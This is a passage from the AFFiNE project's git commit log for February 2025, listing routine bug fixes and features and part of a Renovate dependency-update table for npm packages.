Closes: [BS-2616](https://linear.app/affine-design/issue/BS-2616/embed-view-%E5%B1%95%E7%A4%BA%E4%B8%8D%E8%AF%A5%E5%87%BA%E7%8E%B0%E7%9A%84-note-%E5%86%85%E5%AE%B9)
2025-02-19 08:40:26 +00:00
JimmFly
e5a1595980 feat(core): add tracking events to doc role management (#10221) 2025-02-19 16:39:50 +08:00
Flrande
bc34516e6c fix(editor): embed sync doc theme not reactive (#10283) 2025-02-19 16:38:05 +08:00
liuyi
521ee9d374 fix(server): doc owner and default role permission (#10281) 2025-02-19 08:29:46 +00:00
L-Sun
61ee5531f4 fix(core): incorrect root config identifier (#10285) 2025-02-19 08:20:22 +00:00
EYHN
0f770093b0 fix(nbstore): better diff function for doc update (#10284) 2025-02-19 08:06:51 +00:00
Cats Juice
2d9162b3c4 style(core): adjust ai icon color in starter-bar (#10280) 2025-02-19 16:05:34 +08:00
EYHN
c39a93e1fd fix(nbstore): fix v1 doc storage timestamp (#10282) 2025-02-19 16:04:37 +08:00
EYHN
53cada4640 fix(core): throttle sync progress update (#10278) 2025-02-19 07:45:46 +00:00
EYHN
60a9572c88 fix(core): remove crypto randomuuid api (#10268) 2025-02-19 07:32:01 +00:00
Yifeng Wang
e5315087cb chore(editor): allow remote debug in presets dev entry (#10279) 2025-02-19 15:15:48 +08:00
donteatfriedrice
319d909ac8 fix(editor): paste surface-ref block to another doc as embed-linked-doc block (#10274)
[BS-2155](https://linear.app/affine-design/issue/BS-2155/复制-insert-frame-group-粘贴后,应当变为-block-ref-link)
2025-02-19 07:02:27 +00:00
JimmFly
751f229e30 fix(core): unexpectedly jump to price plan when selfhosting (#10247) 2025-02-19 07:01:54 +00:00
EYHN
c0cc4224bb feat(core): close popup after oauth login (#10273) 2025-02-19 14:44:02 +08:00
liuyi
b50e507fc5 fix(core): wrong i18n key used (#10275) 2025-02-19 14:43:39 +08:00
liuyi
294002101d fix(server): wrong queue options for worker executor (#10267) 2025-02-19 04:44:23 +00:00
fengmk2
320875425c fix: replace all CRLF in email token (#10271) 2025-02-19 04:07:43 +00:00
doouding
dad39d1129 fix: handle unsupported image upload (#10272) 2025-02-19 03:47:48 +00:00
CatsJuice
35f7f5a01b chore(mobile): adjust setting dialog swipe gesture trigger size (#10236) 2025-02-19 02:41:41 +00:00
pengx17
29f8a627b6 fix(core): center peek doc view circular deps (#10253) 2025-02-19 02:23:53 +00:00
EYHN
5a7ab880c1 fix(core): fix ios blob upload (#10263) 2025-02-19 10:07:46 +08:00
Oleg
b20d316d60 fix(editor): ui bugs in linked document embed view (#10105)
Co-authored-by: Mirone <Saul-Mirone@outlook.com>
2025-02-18 23:29:58 +08:00
renovate
dc7e7cfc75 chore: bump up all non-major dependencies (#10132)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.744.0` -> `3.750.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.744.0/3.750.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli)) | [`5.0.4` -> `5.0.5`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.4/5.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2fcli/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2fcli/5.0.4/5.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@lit/context](https://lit.dev/) ([source](https://redirect.github.com/lit/lit/tree/HEAD/packages/context)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@lit%2fcontext/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@lit%2fcontext/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@lit%2fcontext/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.54.0` -> `8.55.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.54.0/8.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.15` -> `1.10.17`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.15/1.10.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`22.13.1` -> `22.13.4`](https://renovatebot.com/diffs/npm/@types%2fnode/22.13.1/22.13.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.8` -> `19.0.10`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.8/19.0.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.3` -> `19.0.4`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.3/19.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [bullmq](https://bullmq.io/) ([source](https://redirect.github.com/taskforcesh/bullmq)) | [`5.40.2` -> `5.41.2`](https://renovatebot.com/diffs/npm/bullmq/5.40.2/5.41.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.1` -> `34.2.0`](https://renovatebot.com/diffs/npm/electron/34.1.1/34.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron-updater](https://redirect.github.com/electron-userland/electron-builder) ([source](https://redirect.github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater)) | [`6.5.0` -> `6.6.0`](https://renovatebot.com/diffs/npm/electron-updater/6.5.0/6.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fast-xml-parser](https://redirect.github.com/NaturalIntelligence/fast-xml-parser) | [`4.5.1` -> `4.5.2`](https://renovatebot.com/diffs/npm/fast-xml-parser/4.5.1/4.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.2` -> `9.3.0`](https://renovatebot.com/diffs/npm/html-validate/9.2.2/9.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [inquirer](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/inquirer/README.md) ([source](https://redirect.github.com/SBoudrias/Inquirer.js)) | [`12.4.1` -> `12.4.2`](https://renovatebot.com/diffs/npm/inquirer/12.4.1/12.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.12.0` -> `2.12.1`](https://renovatebot.com/diffs/npm/jotai/2.12.0/2.12.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nanoid](https://redirect.github.com/ai/nanoid) | [`5.0.9` -> `5.1.0`](https://renovatebot.com/diffs/npm/nanoid/5.0.9/5.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
